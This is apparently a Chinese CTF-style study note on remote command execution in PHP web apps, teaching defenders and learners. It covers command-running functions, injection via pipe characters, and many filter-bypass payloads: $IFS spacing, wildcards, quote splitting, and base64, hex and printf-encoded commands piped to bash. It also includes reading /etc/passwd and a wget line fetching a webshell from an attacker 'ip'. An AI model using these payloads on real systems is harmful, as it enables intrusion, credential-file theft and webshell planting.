RCE(远程代码执行漏洞)原理及漏洞相关

RCE,Romote Code Execution漏洞,即通过向后台服务器远程注入系统命令或代码来控制后台系统

原理

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过”自动化运维平台”进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。 远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

系统命令执行函数

*** system() 语法为system(string $command, int &$return var = ?)
*** passthru() system()的平替,写个命令就会执行命令,自己能回显
*** exec() 示例exec("cat /flag"),其本身没有回显
*** shell_exec() 格式分别为shell_exec(ls)和`ls`,不能自己回显,需要借用echo\print等输出结果
*** popen() 语法为popen(string $command, string $mode),command参数: 要执行的命令,mode参数: 模式'r'表示阅读,'w' 表示写入。不能自己回显,需要print_r等输出内容
*** proc_open() 语法为proc_open($command,$descriptor spec,$pipes,$cwd,$env vars,$options)
$command是要执行的命令。
$descriptorspec是一个描述符规范数组,用于指定进程的输入、输出和错误的文件描述符。
$pipes是一个引用变量,用于存储与进程相关的管道。
$cwd(可选)是设置子进程的当前工作目录。
$env(可选)是设置子进程的环境变量。
$other_options(可选)是其他选项,如设置超时等
不能直接回显
*** pcntl_exec()  语法格式为pcntl exec(string $path, array $args = ?, array $envs = ?)
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 (比如文件第一行是#!/usr/local/bin/perl的perl脚本)。args是一个要传递给程序的参数的字符串数组。
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。该函数没有回显,解决方法一:cat文件并输出到有权限读取路径;解决方法二:shell反弹

那么如果遇到类似PING的执行漏洞,如何将前面的字段和系统命令无缝衔接呢?

那么就需要管道符来支持:

*关于管道符

img

For Windows:

“|” : 直接执行后面的语句。例如:ping 127.0.0.1| whoami
“||” : 如果前面执行的语句执行出错,则执行后面的语句,否则只执行前面的语句。例如: ping 1234.1 || whoami
“&” : 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 。例如: ping 127.0.0.1 & whoami
“&&” : 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如: ping 127.0.0.1 && whoami

For Linux:

“;” : 执行完前面的语句再执行后面的。 例如: ping 127.0.0.1 ; whoami
“|” : 显示后面语句的执行结果。列如:ping 127.0.0.1 | whoami
“||” : 当前的语句执行出错时,执行后面的语句。 例如: ping 1472.1 || whoami
“&” : 如果前面得语句为假则直接执行后面的语句,前面的语句可真可假,例如:ping 127.0.0.1 | & whoami
“&&” : 如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如: ping 127.0.0.1 && whoami

发现漏洞后,如何得到控制权呢?

最简单的漏洞就是找到注入点直接注

但是难免会碰到存在黑名单的情况,这个时候就需要绕过出场了

空格过滤绕过:

大括号{}:

{cat,flag.php}

$IFS代替空格:

$IFS$9${IFS}$IFS这三个都行

Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。

?cmd=ls$IFS-I

单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名

?cmd=ls${IFS}-l

$IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。

?cmd=ls${IFS}$9-l

重定向字符<,<>

(具体哪种情景能用还不太清楚)

其他

%20绕过(相当于url编码的空格)

%09绕过(相当于Tab键)

%0a–代表换行符

%0b–用于在输出或显示文本时在该位置产生一个固定的垂直间距,类似于tab键。

%0d–回车换行

%a0–代表的是非断行空格

%00–%00代表的是ASCII码中的空字符

可以将空格字符替换成注释/**/,也可以使用内联注释/!code/

内联注释绕过知识点

    当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*!  */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行

文件名过滤绕过:

??,*绕过

passthru代替system,过滤flag文件名用?,*绕过

cat /fl??

cat /f*  #多个匹配结果同时展现

以上指令等效于cat /flag

单引号(‘)双引号(“”)反引号(``)绕过正则

cat /fl""ag

c""at /e't'c/pas``s``wd

php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性,避免报错

passthru('cat /fl""ag.p\'\'hp')

反斜杠\绕过

\特殊字符去掉功能性,单纯表示为字符串,而linux看到反斜线\会自动帮你去掉,正常执行命令

cat fl\ag.p\hp

特殊变量:$1到$9、$@和$*

这些特殊变量输出为空

cat /fl$9ag

cat /fl$@ag

或者在单词结尾处插入$x,这里的x可以是任意字母,例如可以写成如下形式:

c$@at /e$@tc/pas$@swd

cat$x /etc$x/passwd$x

ca$@t /etc$x/passwd$x

内联执行绕过(通过赋值绕过)

a=c;b=a;c=t;$a$b$c /1.txt

a=f;c=a;d=g;b=l;cat $a$b$c$d.php(abcd拼接出来flag)

利用linux中的环境变量

使用环境变量里的字符执行变量

echo $PATH #PATH默认系统环境变量

如果出现:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

则以下代码表示了flag.php

echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}

比如${PATH:5:1}指的是取路径的第五位(从0开始数,第0位是/)的字符,步长为1,即只取一个字母l,以此类推就能拼接成关键字flag.php

常见文件读取命令绕过:

base64编码:

cat flag.php--> Y2FOIGZSYWcucGhw
echo Y2FOIGZsYWcucGhw | base64 -d

管道符|把前面指令执行的结果,变成后面指令的参数,所以这里会解码读取命令

执行命令的话有三种形式:

echo Y2FOIGZsYWcucGhw | base64 -d | bash

$(echo Y2FOIGZsYWcucGhw | base64 -d)

`echo Y2FOIGZsYWcucGhw | base64 -d`   #反引号

cat flag.php,放在bash里执行,同理想换成什么命令就base64编码后替换

base32编码同理

?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');

HEX编码(ASCII编码)

python脚本

import binascii
s = b"tac flag"
h = binascii.b2a_hex(s)
print(h)

tac flag–> 74616320666c6167

echo "74616320666c6167”|xxd -r -p|bash

xxd: 二进制显示和处理文件工具。

-r-p将纯十六进制转储的反向输出打印为了ASCII格式
bash、sh、/bin/bash、反引号等

?cmd=passthru('echo "74616320666c6167”|xxd -r -p|bash');

shellcode编码(16进制的机器码)

?cmd=passthru('printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash');

?cmd=passthru('`printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"`');

?cmd=passthru('$(printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")');

读取命令被绕过:

比如说过滤了cat,在这之前先分清:

cat flag.php 是用于在终端上显示当前目录下名为 flag.php 的文件的内容。

cat /flag 是用于在终端上显示根目录下名为 flag 的文件的内容。

cat flag 是用于在终端上显示当前目录下名为 flag 的文件的内容。

正常来说flag放在根目录下,不过也可能是在当前网页目录下

别的指令也同理

  • tac:反向显示,从最后一行开始往前显示

    tac /flag
  • more:一页一页显示档案内容

    more flag.php
  • less:与more类似

  • tail:查看末尾几行

  • nl:显示的时候,顺便输出行号

    nl /flag

nl /flagnl flag 是不同的。

在 Linux 系统中,nl命令用于给文件添加行号。当使用 nl /flag 命令时,/flag 被视为一个文件路径,并将该文件的内容输出到标准输出(通常是终端),并在每一行前添加行号。如果 /flag 文件存在且有读取权限,那么 nl /flag 将会给该文件的内容添加行号。

而当使用 nl flag 命令时,flag 被视为一个相对于当前目录的文件路径。也就是说,nl flag 命令将会尝试在当前目录下找到名为 flag 的文件,并给其内容添加行号。(不过flag一般在根目录)

  • od:以二进制方式读取档案内容。正常的od /flag输出的纯纯二进制
    想看到文件内容需要:
passthru("od -A d -c /fla\g");
  • xxd:读取二进制文件

    xxd /flag
  • sort:主要用于排序文件

    so?t /flag
    /usr/bin/s?rt /flag

/usr/bin/sortsort 实际上是同一个命令。/usr/bin 目录是系统的标准目录之一,它包含了许多系统命令和工具的二进制文件,而 sort 命令通常就存放在 /usr/bin 目录中,因此/usr/bin/sort /flagsort /flag 是等价的。有时候sort不行可能/usr/bin/s?rt可以

  • uniq:报告或删除文件中重复的行,其实当成cat用就行
  • file -f:报错出具体内容
    passthru(“file -f /flag”);
  • grep:在文本中查找指定字符串
    passthru(“grep fla /fla*”);

grep fla /fla* 命令会匹配根目录下所有以 fla 开头的文件(不包括子目录),然后将这些文件中包含字符串 fla 的行输出到终端上。因此,这个命令会搜索根目录下以 fla 开头的所有文件,并匹配其中包含 fla 字符串的行。

而 grep fla fla* 命令中 fla* 是当前目录下以 fla 开头的所有文件的通配符,它会匹配当前目录下所有以 fla 开头的文件,然后将这些文件中包含字符串 fla 的行输出到终端上。因此,这个命令只会搜索当前目录下以 fla 开头的文件,并匹配其中包含 fla 字符串的行。

  • strings:
    相当于cat

无回显时间盲注:

逻辑和SQL注入的时间盲注差不多

相关命令:
1.sleep
sleep 5 #5秒之后返回结果

2.awk:逐行获取数据
3.cut -c
cut命令逐列获取单个字符
cat flag | awk NR==2 | cut -c 1 #获取第一个字符
cat flag | awk NR==2 | cut -c 2 #获取第二个字符

3.利用cp命令:cp flag.php 1.txt

4.利用mv命令:mv flag.php 1.txt

5.利用>输出结果到文件:ls > 1.txt

6.tee:Linux tee命令用于读取标准输入的数据,并将其内容输出成文件

7.利用wget下载:

wget http://ip/shell.txt > shell.php或者wget http://ip/shell.txt -O shell.php

8.dnslog外带数据